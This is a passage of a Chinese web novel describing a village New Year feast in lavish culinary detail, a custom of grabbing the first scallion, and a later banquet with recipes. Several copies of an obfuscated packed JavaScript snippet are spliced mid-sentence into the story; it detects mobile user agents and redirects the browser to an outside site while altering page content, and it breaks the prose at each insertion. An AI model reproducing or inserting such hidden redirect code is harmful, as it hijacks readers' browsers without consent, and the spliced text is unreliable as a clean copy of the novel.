红烧大鲤鱼，柴火炖鸡，红烧大肘子，糖醋排骨，酱牛肉，红烧肉，羊肉萝卜煲，酱爆小河虾，干煸蕨菜炒腊肉，萝卜丸子汤，凉拌木耳，炒时蔬，卤味拼盘，猪肉白菜饺子，红糖年糕，炸麻团。 这些菜满满的摆了一桌子，盘子摞起来都快要放不下了。 卜霜特意拿出了新酿出的几坛葡萄酒出来，给每人都倒了一碗，今日过年节，她准许几个孩子也能喝一点，五个孩子别提多高兴了，自从第一次酿出葡萄酒的时候尝了那么一点，他们天天就馋着那个味道，今日终于可以喝了。 那葡萄酒颜色透亮，还有一阵清香。 卜霜倒好酒后，举杯笑道：“今日我们大家聚在一起过年节，是难得的，我们以后的日子也会越来越好的。” 赵昭明很激动，虽然卜霜是这么说的，但是她过了那么多次年节，还是第一次这么丰盛，这都是因为卜霜，她跟着卜霜做买卖，日子才能这么好。 大家都举杯和卜霜一起一饮而尽，喝过酒后，大家都开始热热闹闹的边聊天边吃饭了，饭桌上一片欢笑声。 今日这桌年夜饭色香味俱全。 红烧大鲤鱼，鱼肉带着微焦的鱼皮，筷子一戳就露出蒜瓣状的雪白鱼肉，酱汁里混着葱姜和一点糖的甜，吃起来浓油赤酱，醇厚无比。 红烧大肘子皮肉颤巍巍的，胶质黏唇，八角桂皮的香气钻进每丝**。 红烧肉则肥而不腻，琥珀色的汤汁扒住米饭，咬下去像在舌尖化开一团油脂。 柴火炖鸡的金黄汤面上浮着油光，土鸡的鲜味被柴火的烟熏气烘托得更好吃，羊肉萝卜煲里奶白的汤还在咕嘟着，带皮羊肉和吸饱汤汁的萝卜块，再撒上一把青蒜，膻香瞬间转化成醇厚，酱爆小河虾则是"咔哧"一声脆响，虾壳上的酱汁甜咸交织，鲜味就在齿间爆开。 干煸蕨菜炒腊肉藏着山野气，蕨菜的微苦与腊肉咸香在干辣椒的刺激下格外上头，凉拌木耳脆生生的还裹着酸辣汁，蒜末的存在感强烈，炒时蔬很清爽，青菜绿得发亮。 猪肉白菜饺子胖嘟嘟的，咬破皮时汤汁溢出来，沾上醋碟姜丝吃更加美味。 红糖年糕外皮煎得焦脆，内里却黏得能拉丝，红糖的焦香混着米香，炸麻团滚着芝麻粒，空心处藏着流心的红糖浆，让人烫着嘴也要趁热咬下去。 酱牛肉肌理分明，牛腱子肉带着筋络，蘸蒜泥酱油越嚼越香，卤味拼盘肥糯弹牙，浸透卤汁，五香料的复杂香气层层叠叠。 糖醋排骨明亮酸甜，羊肉萝卜煲温暖，红烧肉酱香十足，最后再来一口萝卜丸子汤清鲜收尾，加上村子里的鞭炮噼啪作响，年味十足。 这一桌硬菜，让人光看就能馋得咽口水。 赵昭明一筷子夹着了一块红烧大肘子，吃下去就是一愣，眼睛瞪圆：“哎呦！这肘子炖得真好吃，入口即化的。” 看着大壮拿着筷子的手在半空中犹豫，纠结着先吃鱼还是先吃排骨，她就给大壮夹了一块大肘子：“大壮，快吃这个。” 大壮用勺连皮带肉挖一大块肘子然后扣进米饭里一起吃，油脂渗进饭粒，他闷头扒拉两口，连说话都不想说：“这皮好嫩啊……” 张婶喜欢吃红烧大鲤鱼，她吃过好的，知道用筷子尖轻轻一挑鱼肉最嫩的部分，蘸上酱汁后吃进去，笑着眯眼咂嘴回味：“嗯，这鱼一点腥味都没有，酱香都透进去了，果然还是霜丫头！” 小万萱则是盯着炸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15525658|169419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 麻团和红糖年糕移不开眼，她坐在那里伸手：“娘我要那个金色的球球！” “给你。”卜霜刚给她夹好，万絮一边吃进嘴里，就又看向旁边专攻柴火炖鸡的万絮，万絮夹了一只鸡腿，那鸡肉撕开时肉丝挂着汁水，万辽凑过来又道，“我也要吃鸡腿” 万絮边笑边给她：“那么多肉呢你急什么，吃的过来吗？” 万路挑了一筷子酱牛肉，蘸蒜泥后嚼得腮帮子都在动，点头称赞：“这牛腱子选得真好，有筋有肉的。” 忽然大壮开始叫唤，原来是他吃糖醋排骨，一块咬下去，糖丝拉出半尺长，他连忙扯断，糖渣却粘在嘴角，逗得众人都大笑，赵昭明笑着给他擦嘴：“哎哟，你看你吃的。” 这边看着大壮擦嘴，那边万萱直接上手抓香辣小河虾了，虾壳炸得酥脆，她嚼得咔嚓响，还嗦手指，吃完一个香辣虾才开始辣的吸气。 卜霜吓了一跳，赶快给她盛了一碗羊肉萝卜煲解辣，万萱迫不及待就喝了一口，烫得吐舌头，又不舍得吐，哈着气道：“舌头没了……” 众人又是一阵大笑。 卜霜一看，大家都没动那红糖年糕，就切了一块给大家看，红糖心儿一淌出来，大伙儿都激动得哇哇叫，兴奋得不得了，抢着去吃。 大家吃得盘子都快见底了，只剩下几根辣椒和姜片，吃饱喝足的大家摸着肚子，喝着葡萄酒，懒洋洋地不想动弹，小孩子们还在那儿舔麻团上的芝麻呢。 这一顿，大家都吃的分外满足。 赵昭明甚至已经开始讨论了：“剩下的饺子明天煎着吃怎么样？” “今晚吃了这么多肉，明天估计只能吃些清淡的素食了。” 聂鸿轩的脸颊因为喝了葡萄酒而泛起了微微的红晕，显得更加健康和生动。 他们休息了一会儿，把碗都放下去，然后就开始聊天，一点也没有要睡的想法，今晚是要守岁的。 第95章 抢葱 一屋子人热热闹闹的，卜霜把买的干果，瓜子，各种糖之类的东西都拿了出来，大家就在一起边吃着东西边唠嗑，屋子里欢声笑语。 聂鸿轩酒量不好，吃饭的时候喝了很多葡萄酒有一点头晕，今日也就不再看书了，坐在那里静静的听着她们聊天，卜霜看了一眼聂鸿轩微微泛红的俊脸，知道知道他酒量不好，偷笑着。 孩子们一会儿跑出去，一会儿跑进来，玩的开心极了，今夜村子里灯火通明，没一会儿他们又跑去了厨房去玩儿做饺子剩下来的面团，玩着玩着就开始包饺子。 “哥哥，这个饺子怎么包呢？”小万萱跃跃欲试的看着那些面和剩下的饺子馅，。 “你想包饺子吗？”问路问道，“那你看着我怎么做。” 万路就带着小万萱去洗了手，然后手把手的教她怎么捏饺子。 “你的小手要沾一点面粉，这样面团就不会粘在手上，然后呢，把这些饺子馅放到皮里面，轻轻一捏，你看这就做好了。” 万物手上就放着一个做好的漂亮的饺子。 他说的轻轻松松，速度却很快，万萱根本就没有看清他是怎么捏的，一个饺子就做好了。 赵昭明看到了，笑道：“你瞧瞧你家孩子，这个时候去居然在学包饺子，都是些勤快的好孩子。” 卜霜剥着松子，闻言摇头，笑道：“什么干活呀，你看那小万萱分明就是在玩。” 卜霜煮了山楂水，今晚大家吃的都有点撑，给众人消食。 他们聊到子时，家家户户就都出去开始放鞭炮。 卜霜带着众人出去，在门口挂起两串鞭，一点起来，红光漫天，大家都捂着耳朵，偏着头，开开心心的看着鞭眼前炸起，村子里到处都是鞭炮声。 这就是新的一年了，他们三家人在一起过了年，在此刻就像是一家人一样。 大家也不急着去睡，亲亲热热都回了屋子，直到聊到后半夜，才都回去了，不过他们商量好明天一早就过来，继续过初一。 因为前一天太累了，卜霜是在鞭炮声中才被吵起来，孩子们倒是很有精神，她迷迷糊糊的，还是孩子们把她拉起来。 洗过了之后她正准备去给牛，兔子，鸡喂食。 过去却看到孩子们早在她还睡觉的时候就已经喂过了。 大年初一要拜年，所以要好好打扮打扮，卜霜让孩子们都穿好新衣服，然后给万絮和万萱都绑了一个很好看的发型，特意把她们之前从镇上的首饰铺子买的几件首饰，都给她们带上。 两个人一下子就变的像个富贵人家里面的小小姐。 男孩子们她也都给绑好发髻，戴上了新买的发带。 然后卜霜特地画了一个妆，她这些日子一直在喝灵泉水，皮肤已经变得非常白皙细腻，穿上时兴的新衣服，当她一出门，便立刻惊呆了众人。 万萱的眼睛都亮亮的:“娘，你好美啊。” 卜霜照了照铜镜，也很满意。 他们一行人就美滋滋的出了门，五个人走在路上，他们的出现在村里面引起了轰动。 这还是他们知道的那一家卜家人吗？ 万路平时沉稳寡言，所以他们竟然一直没有注意到，这孩子身上散发出的贵气和俊美。 万絮更别说了，她漂亮的就像是从画里走出来的人物一样。 万辽虽然平时调皮捣蛋，但仔细一看，才发现他长得其实也很好看。 万萱灵气十足。 这让人惊艳的还是卜霜， 这一家子人，孩子们不仅贵气逼人，而且个个俊美如画，机灵可爱。他们穿的衣服，都是众人见所未见，但一看就觉得非常好看的款式，他们佩戴的首饰，珠光宝气，价值不菲，看起来就像是只有在镇上和县城里才能见到的达官贵人，众人羡慕地看着他们，欣赏了一会儿，却都不敢轻易上前去。 卜霜就主动上前去和众人拜年，又去了村子里相熟的人家拜年。 赵昭明母子和聂家母子过来后，和她说起昨日发生的趣事，昨日点鞭炮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15530594|169419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的时候，有好几户人家都因为点鞭炮把柴火垛给烧着了。 往年这样的事情也常有，那些点燃的鞭炮炸开之后，有很多还没有烧尽的小鞭炮，会落在四处，落在了柴火垛上那又干又容易燃的东西，就会把它点燃，所以大家过年节的时候，都会把柴火垛放在杂物间里，以防被鞭炮点燃，那几户人家就是因为没有放，就烧起来了。 其中一家呢，就是那长舌的赵婶。 “听说是有一家的孩子，玩的时候把炮仗扔到了赵婶子家的柴垛上。” 说到这里，赵昭明的痛快，大家也都笑起来。 “昨日睡得那样晚，怎么大家今日起来的都很早。”卜霜问道。 “因为我们要去地里抢葱啊。”赵昭明道，“起来的晚了，可就抢不到了。” “对啊。”张婶点点头也道，“我们快去吧。” “抢葱？”卜霜道。 这是要做什么，她怎么都没有听过？ “哎呀，别犹豫了，再晚一些头葱就让别人抢到了。”赵昭明拉着卜霜就匆匆的走。 “你们先告诉我为什么要抢啊？”卜霜大喊，转眼一看，万路他们四个也都斗志昂扬的。 虽然她还是不知道为什么要抢葱，但这貌似是一个很重要的活动。 直到路上卜霜才知道，原来这里，大年初一的时候，如果谁能从地里抢到葱，接下来的一年，第一个抢到葱的，还有别的寓意。 所以地里但凡种葱的，今日也都会由着他们去抢，但是他们都会把葱藏到不容易被发现的地方。 是这样啊，卜霜立刻来了兴趣，她一定要抢到。 他们一行人走得很快，很快就到了，此时地里已经有不少人在找那藏着的葱。 这片地很大，并不好找，卜霜一看他们的表情就知道现在还没人抢到葱。 “快点，我们分开找。” 她们立刻就进去找，现在地里还没人抢到，他们抢到的概率很大。 第96章 寓意 “万路，万絮，万辽，万萱，你们一定要给娘抢到葱。” 几个孩子点点头，就立刻跑出去了。 卜霜并没有着急的直接没有目的的找葱，他先观察了一下地里正在找葱的人们的分布，首先排除人们已经找了大半的地方，这些地方他们已经搜寻过了，所以肯定没有葱，当然也并不排除是他们漏掉了。 然后卜霜又排除掉那些看上去没有什么东西遮挡，藏不了葱的地方，如果把葱藏在这里，那就太明显了。 然后她又看向赵昭仪和大壮，以及张婶子他们现在所在的地方，这些地方由自己人在找，所以她就不用去了。 这么一算下来的话，卜霜迅速就锁定了一处之前种着玉米的地，大冬天的玉米都没有了，但是玉米梗子还有半人高，如果卜霜是藏葱的人，藏在这里的话才最好玩。 一想到这里卜霜立刻就去了那片地方。 结果一跑过去就看到聂鸿轩居然也在那里找葱，这里的玉米梗子确实是高，所以她刚才都没有发现聂鸿轩在这里。 聂鸿轩正在玉米梗子之间找有没有葱的踪迹，听到了脚步声一抬头，就感到了卜霜就在他的面前。 两个人居然不约而合地想到了同一片地方。 卜霜知道，聂鸿轩聪明，绝对也想到了。 聂鸿轩蹲着仰着头眯着眼看着她，这不禁让卜霜想起了俩人第一次见面的时候，也是在一片玉米地里。 当时他也是蹲着捂着她的嘴，在玉米叶子的空隙间谨慎地扫视着外面的人，那双捂着她嘴的手雪白，卜霜和他贴的很近，只能闻到了他身上淡淡的香味。 “你也想到了？”聂鸿轩问道。 卜霜愣了一下，才从回忆中脱身。 “对啊，我觉得这片玉米地里一定藏着葱。”卜霜道斗志昂扬，“我一定要抢到头葱。” “你想抢头葱？”聂鸿轩有些惊讶。 “我看目前为止还没有人找到头葱呢，赵姐姐刚刚跟我说，抢到头葱的寓意要比之后的葱的寓意还要好，她也没和我说清楚，还有什么寓意，但是我一定是要试着抢到头葱的。” 卜霜道。 聂鸿轩看着她，眼中闪着奇异的光芒，他欲言又止。 但是卜霜已经急匆匆的向着另一边走去，“你在这里找吧，我去玉米地的另一边找，这样快一点。” 聂鸿轩就没来得及告诉她，这头葱的另一层寓意到底是什么。 卜霜蹲下来四处张望，没多久，她就在玉米梗中间看到苗绿色的影子。 卜霜心中一喜，连忙跑过去去看，果然是葱。 她伸长了手去拔那苗葱，**后手里拿着那苗大葱高兴地站了起来，首先对着不远处的聂鸿轩兴奋的大喊：“聂哥儿，你看，我拔到头葱了。” 她脸上挂满了笑意，眉眼弯弯，明媚的像是天际出来第一抹阳光。 她举起手上的那枚绿莹莹的葱，边晃着边重复着，声音都愉悦的打了好几个弯：“头葱啊，头葱，我抢到了，聂哥儿你快看。” 聂鸿轩只觉得身体里有什么忽然间不受控制的怦怦跳。 卜霜的声音太大，其他人在全神贯注的找着葱，忽然空旷的地方传来了她兴奋的声音，听到她的声音后人们都抬起了头，看到她抢到了头葱之后，人们都拍手祝贺，每个人都笑脸盈盈。 “哎呀，今年的福气让卜掌柜抢到了。” “卜妹妹，你抢到头葱了，你要有如意郎君了。”赵昭明笑着大喊。 “什么？”卜霜听到之后不理解。“什么如意郎君？” “抢到头葱的寓意啊，在我们村里，大年初一的时候抢到头葱的人就会寻得如意郎君。”赵昭明接着喊道。 卜霜震惊了，回头看向聂鸿轩，确认道：“如意郎君？” 她的眼睛一眨不眨的看着他，那句话是对他说的，聂鸿轩感到心里好像被什么撞了一下，他的呼吸忽然有些紧张，双手都不自觉的捏在了一起。 她带着调子的，轻轻的嗓音，她举着那苗葱，看向了他，对他说如意郎君。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15530595|169419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>阳光打在她蓬勃的发和半边白皙的脸颊上，这是第一次，聂鸿轩竟然不敢再去看卜霜。 他轻轻的嗯了一声。 卜霜是真没有想到，这头葱的另一层寓意竟然是这个。 这可真是闹了大笑话，忙道：“你们别笑了，又来人了，你们快继续去找葱吧。” 其他人一看，果然又来了一批人过来抢葱，也不再打趣卜霜了，继续找起葱来。 卜霜虽然已经抢到了葱，但是其他人还没有抢到，所以她还是继续在地里面找。 其他人一进地里面就看到了卜霜，拿着一根葱，唉声叹气道：“你看我们就晚来了一会儿，头葱已经被别人抢到了，我还想着给曼儿抢到头葱让他有一个如意郎君呢？” “老婆子别说了，继续找别的吧。” 卜霜手里握着那苗葱，来到了聂鸿轩的身边，笑道。 “是你先过来的，但是我先抢到了，要是你先抢到，说不定啊张婶子今年就有儿媳妇了。” 聂鸿轩道： “我也没想抢头葱，只要在有人找到头葱后再找到一苗葱就可以了，每年村子里适龄的男女都会来抢这头葱，为了有一个好寓意。” “我要是早知道这头葱的寓意，就不抢的那么快了。”卜霜无奈道。 他咋不早说呢？ 又过了半个时辰，其他两家也都找到葱了，一行人满意的就回去了。 一路上都乐呵呵的回了卜家。 之后五个孩子给几个大人依次拜了年，每个人的吉祥话都说的把大人们逗得哈哈大笑，大人们给孩子们都发了红包。 几个孩子高高兴兴的拿着自己的红包，开始拆红包。 每拆开一个孩子们就都要惊讶一声。 今年和以往都不一样，每个红包都包了好多钱，几个红包拿下来，孩子们都有了一笔不小的钱。 几个孩子又是高兴又是感动。 “你们几个过一次年都成了小富翁了。”赵昭明打趣道。 第97章 椒蒸鲈鱼，茶香熏鸡，黑蒜子牛肉 确实，对于几个孩子来讲，那些钱已经足够，他们想买什么就去买什么了。 可不就是小富翁吗。 几个小孩子手里有了钱，从桌子上抓了一把干果和糖果，就跑出去和其他的孩子一起玩去了。 孩子们有孩子们的乐趣，之后的这几天，每户人家的家里都会准备许多的糕点和零嘴。 敞开门，任由孩子们进来吃。 所以一群小孩子们手拉着手，浩浩荡荡的从一家出来之后又去了另一家去拜年，满嘴的吉祥话，然后每家都可以吃到不同的点心和零嘴。 今日早上万路他们几个和卜霜一起出来的时候，村里人很多都看到了，谁会不喜欢嘴巴甜甜的，长得又这么好看的孩子呢？ 只是之前他们都不敢上前，这下孩子们进来给他们拜了年后，他们便忍不住了，满满的给万路几个抓了一兜子的零嘴后就趁机摸摸他们的脸，摸摸他们的头。 越看越觉得好看。 其中小万萱最受人们的喜爱，她年纪又小，还肉嘟嘟的。 孩子们哪里受过这么多人的热情，一时间脸红红的。 万路他们四个和大壮出去没一会儿，就有好多人上门来给卜霜拜年来了。 有在香胰子作坊，还有牙刷和牙粉作坊里做的帮工，她们领着各自的家眷和孩子，喜气盈盈的来给东家拜年。 多亏了卜掌柜，她们今年可是过了一个好年。 之后荔香和肉铺掌柜也过来了。 然后赵石头夫妻俩和工匠还有工匠们的家眷和孩子也都过来了。 这么多人过来，卜家一天都人来人往的，热闹非凡。 直到晚饭前，众人想要告辞，卜霜把他们都留了下来。 “那么大老远的来都来了，怎么说走就走呢，今晚留下来吃饭吧。” 每个人还都带着礼物，她怎么能让人就这么走了呢？ 不如就留下来一起吃饭吧。 这次人比上次办暖房宴的时候来的还要多。 卜霜就把所有的桌子都摆在了院子里。 她正好最近新想出了一桌新鲜的席面，是准备卖葡萄酒的时候请人吃的。 如今提前做一下，不仅到时候做起来更熟练一点，还能再把菜做一下调整。 这几道菜分别是藤椒蒸鲈鱼，茶香熏鸡，黑蒜子牛肉，黄焖羊肉煲，酸笋炒肉，腊肉炒蕨粑，芦笋炒百合，凉拌莴笋丝，松茸炖鸡汤。 客人们在院子里聊天，赵昭明，张婶和聂鸿轩就帮着卜霜做饭，她们看上去就像是卜家自己人一样。 “卜妹妹，你有没有发现，咱们几个人真的像是一家人一样，我在你的家里待的比在我家里还舒服。”赵昭明边处理食材边感慨。 “对呀，所以你赶快嫁给我。”卜霜调笑道。 “我巴不得呢，只是谁让某人很快就要找到如意郎君了呢，我要是嫁进来多不好啊。”赵昭明笑着的回道。 这一天她已经用这件事调笑了卜霜无数次了。 卜霜捏了一下她的脸。 张婶就在那里边处理食材，边笑着看着她们两个人。 卜霜要做的第一道菜是藤椒蒸鲈鱼。 赵昭明虽然嘴上一直在笑着逗卜霜，干活却很一点都不含糊，她麻利地刮鳞去腮，鱼身斜划几刀，然后就放在盆子里给卜霜用。 卜霜把鱼抹上盐、料酒、姜片腌着，灶上水滚了，她在鱼身下垫上葱段，抓一把晒干的藤椒铺上，然后蒸笼盖子一盖，火候正好，等着一会儿出锅淋上热油激香藤椒，加入蒸鱼豉油就可以了。 鱼肉雪白，筷子一挑就散，藤椒的麻香鲜得人直咂嘴。 之后她开始做茶香熏鸡。 张婶选了一只肥嫩的土鸡，烧一锅开水，把整鸡都烫过了。 卜霜就把鸡用盐、花椒、葱，姜水腌一会儿之后焯水后煮熟。 卜霜在铁锅底铺一层干茶叶，再撒上了两把红糖，架上做烧卖用的蒸笼，就把鸡往上一搁，盖紧锅盖，用小火慢慢熏，直到茶香混着焦糖味钻进鸡肉里。 熏好的鸡皮金黄发亮，撕开时肉汁直冒，咬一口，烟熏味在嘴里打转。 之后是黑蒜子牛肉。 卜霜把牛脊肉切成骰子块 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15530596|169419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，用生抽、淀粉、蛋清腌腌着，独头蒜剥皮，整颗下油锅炸到金黄，捞出来备用，牛肉粒下锅煎，火要大，牛肉粒煎至表面焦褐锅里留点油，蒜子回锅，撒黑胡椒，蚝油，糖快炒出锅。倒牛肉粒翻炒几下。 牛肉外焦里嫩，蒜子软糯，咬开还带着甜味。 后面是黄焖羊肉煲。 卜霜把带皮羊肉剁块，冷水下锅焯去血沫，铁锅烧热，下冰糖炒出糖色，羊肉倒进去翻炒，裹上琥珀色的糖汁。然后把姜片、八角、香叶丢进去，再舀一勺豆瓣酱，加开水炖上。腐竹张婶已经提前泡软了，等羊肉炖烂了再下锅，吸饱汤汁的腐竹比肉还香，最后撒一把青蒜，就可以了。 这道菜汤浓肉烂，冬天吃最暖身子。 下面是酸笋炒肉。 酸笋切丝后拿清水泡一会儿，去掉些酸味。五花肉切片，用生抽、淀粉腌一会儿，下过抄到变色后盛出，加蒜片、小米辣爆香，再把酸笋丝倒进去，大火快炒，淋点酱油，加少许糖提鲜，再撒一把韭菜段。 这道菜酸辣开胃，配米饭能吃两大碗。 然后是腊肉炒蕨粑。 腊肉肥瘦相间，煮熟后切片，蕨粑切成小块，锅里放猪油，煎到两面焦黄，爆香干辣椒，腊肉下锅煸炒，油滋出来，加蕨粑翻炒，淋少许生抽，再撒把蒜苗就可以出锅了。 蕨粑吸了腊肉的咸香，外脆里糯。 后面是两道素菜，芦笋炒百合和凉拌莴笋丝。 聂鸿轩把芦笋削去老皮，斜切成段，焯水之后碧绿脆嫩，鲜百合剥开，一瓣瓣洗净。 热锅凉油，卜霜把处理好的芦笋和百合一起下锅，撒点盐，翻炒几下就出锅。 清爽鲜甜，正好解腻。 凉拌莴笋丝也简单。 莴笋去皮切细丝，拿盐腌一会儿，挤掉水分，加蒜末，白醋，花椒油，调成汁，浇在莴笋丝上，拌匀了就能吃。 脆生生的，带点微辣。 最后一道菜是松茸炖鸡汤。 老母鸡斩块，焯水后放锅里，加姜片、清水，小火慢炖。 干松茸泡发，连泡的水一起倒进锅里，炖足一个时辰，加盐调味，撒几粒枸杞就可以了。 第98章 黄焖羊肉煲，芦笋炒百合，凉拌莴笋丝 这每道菜的分量，卜霜都做的很多，所有菜都出锅之后，赵昭明跟张婶把这些菜都分成了好几份，给院子里的几桌端了上去。 天色也黑了下来，今日村子里还是有很多人放鞭炮，那声音配着饭菜的香味，让人感到无比的热闹。 万路他们五个小崽子也都玩的回来了，进门能看到这么多人，眼睛都睁大了。 众人就笑着叫他们过来拜年然后，然后每个人都笑着给他们五个都准备了一份红包。 卜霜让他们几个出门去放鞭炮，要开饭了。 几个小的兴高采烈的跑出去放鞭炮，各种香味儿在桌子上转悠着飘出来勾着众人的鼻子。。 等到万路他们几个回来之后，卜霜就吩咐开席了。 她一落座，众人立刻迫不及待的就动起筷子来。 那道藤椒蒸鲈鱼卜霜一直在锅上温着，众人一揭开锅盖，青花椒的麻香酸爽直往人鼻子里钻。 鱼肉雪白细嫩，筷子尖轻轻一挑就散成蒜瓣状，送进嘴里先是尝到藤椒的麻，接着配料的清香就在舌尖上慢慢化开，最后留在唇齿间的全是鲜甜。 茶香熏鸡冒着热气，金黄油亮的鸡皮上还沾着几片茶叶末。 撕开一只鸡腿，**里立刻渗出晶莹的汁水，咬上一口，先是烟熏的焦香，接着是茶叶的醇厚，最后是鸡肉本身的鲜甜，三种滋味在嘴里层层叠叠，让人忍不住连骨头都要嗦上几遍。 黑蒜子牛肉在还在滋滋作响，牛肉粒外头裹着层焦糖色的壳，里头却嫩得能掐出水来，炸得金黄的蒜子已经没了辛辣，反倒透着股甜糯，客人们夹起一块牛肉再吃一粒蒜，黑胡椒的辛香混着蒜香在嘴里炸开，肉汁顺着嘴角往下淌，赶紧要了碗米饭接住那些酱汁才一起吃。 黄焖羊肉还在煲咕嘟咕嘟冒着泡，带皮的羊肉颤巍巍地抖动着，夹起一块连着皮的羊肉，皮糯得能黏住嘴唇，肉酥得用舌头一碾就化，腐竹吸饱了汤汁，咬下去鲜浓的汁水就在口腔里四溅，混着羊肉特有的醇香，暖得人从胃里舒坦到指尖。 酸笋炒肉的酸香更是勾得人口水直流，酸笋脆生生的，带着股子发酵后的醇酸，小米辣的劲道后知后觉地窜上来，辣得人额头冒汗却停不下筷子，五花肉的油脂被酸笋吸得干干净净，吃起来肥而不腻，酸辣开胃。 腊肉炒蕨粑众人还没有见过这种搭配，腊肉红白相间，咸香里带着松木熏过的烟火气，蕨粑外皮煎得焦脆，里头却糯得能拉丝，沾着腊肉煸出来的油花，嚼起来满嘴都是山野的滋味。 芦笋炒百合青白相间，看着就清爽，芦笋脆嫩得咬一口就能听见"咔嚓"声，这道菜除了卜家别处可吃不到，芦笋百合都是卜霜在大棚菜地里摘的，明明是冬日这道菜却带着春天的清气，百合瓣儿粉糯清甜，像含着口山泉水，这两样凑在一块儿，正好解了满桌的油腻。 凉拌莴笋丝堆得像座小山，淋着亮晶晶的麻油，莴笋丝脆生生的，带着微微的辛辣，花椒油的麻劲儿慢慢从舌尖爬到太阳穴，爽利得让人精神一振。 最后的松茸炖鸡汤澄澈金黄，飘着几粒红艳艳的枸杞，舀一勺吹着热气喝下，菌子的鲜香立刻在口腔里漫开，混着老母鸡的醇厚，鲜得人舌根发紧，鸡肉炖得酥烂，轻轻一抿就脱了骨，连骨髓都化进了汤里。 尽管众人年节都吃得很好，但是卜霜的饭菜可真不是别家能比的，这些个滋味儿有浓有淡，有荤有素，众人吃的停都停不下来。 赵昭明，张婶和聂鸿轩，万路他们几个昨日才吃的走不动路，还玩笑说今日只能吃素了，今日又疯狂的进食。 那藤椒蒸鲈鱼，很受客人们的喜欢，几个妇人被麻得直嗦嘴，却还抢着吃鱼肉，荔香被旁边人的吃相打动，也学着她们挑了鱼鳃边最嫩的肉蘸着汤汁吃了一口，这一口可真够味，藤椒麻得舌头直跳，但是就是越吃越想吃。 茶香熏鸡没一会儿就被抢的什么都没有了，这个人搬一个鸡腿，那个人搬一只鸡翅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“有人吗？卜掌柜在吗？”听这个声音是一个年纪不大的小姑娘。 卜霜就出去开门。 她一开门就看到卜家门外停着一辆马车，那马车很华丽，马车上有着一个何字。 再看一眼，外面站着一个很面熟的小丫鬟。 “卜掌柜。”小丫鬟看到她出来后很惊喜的叫道。 “你还记得我吗？我是何府厨房里的小丫鬟，上次卜掌柜过来做席面的时候，我帮着你打下手来着。” 卜霜其实早就认出来了，只是她一直不知道她的名字，她笑道。 “我当然记得你，上次席面做完之后，我没有待的太久，他们给你发赏钱了吗？。” “谢谢卜掌柜上次在老夫人面前对我美言了几句，我不但得到了好多的赏钱，老夫人还把我从厨房里调了出来，现在我跟在老夫人面前伺候呢。” 小丫鬟笑脸盈盈的，脸庞比她上次见到时她更加圆润了，看来从厨房掉出来之后，她最近都过得很好，卜霜也很开心。 “何老夫人最近的身体可还好？”卜霜问道。 “谢谢卜掌柜关心，我家老夫人最近身体很好，就是有点想念姑娘做的菜，自从上次吃了姑娘做的菜之后，老夫人总感觉吃其他人的菜都没有了滋味，可是如今过年节，卜家食铺也放假了，上次囤的卤味都吃光了，老夫人惦记卜掌柜做的味道惦记的紧。”小丫鬟很活泼，和卜霜说起话来叽叽喳喳，很是亲热。 卜霜笑着和她聊了两句。忽然想到，她现在是跟在何老夫人面前伺候的，那车上坐着的人不会就是何老夫人？ 但是何老夫人总不可能为了一口吃的就来这小小的村子里见她吧？ 纵然这样想，卜霜还是有些紧张起来。 如果真的是何老夫人来了。 “你这次过来是？不知道马车上坐着的哪位？”卜霜问道。 “何府里还有人惦记着姑娘呢。”小丫鬟就笑道。 卜霜心里微微一动，她说还有人在想她，那就说明马车上坐着的不是何老夫人，可是何府里还会有谁会想她呢？ 何府里她认识的也只有何老妇人，管家，小丫鬟还有... 总不可能是何喻昌吧，卜霜暗笑一声。 